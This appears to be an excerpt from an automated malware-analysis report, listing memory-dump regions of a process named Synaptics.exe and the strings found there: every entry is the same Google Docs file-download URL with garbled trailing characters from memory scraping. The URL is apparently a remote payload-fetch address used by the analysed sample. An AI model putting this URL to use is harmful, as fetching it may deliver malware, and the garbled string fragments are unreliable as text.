Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetlB
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetli
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaderver
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloades
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesd
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolving
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetL
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetleL
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlenk
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadev
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf8
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfG
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgGGln
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgKmI
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadght:0
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo2
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog%
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgs
Source: Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhN
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhu
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhuber
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhv
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638397293.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.000000000076C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi#
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiG
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadicTT
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadihU
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadimagO
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin-dp
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadio
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadive
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyTb
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.u
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj&
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj/
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjK
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjs
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkie:
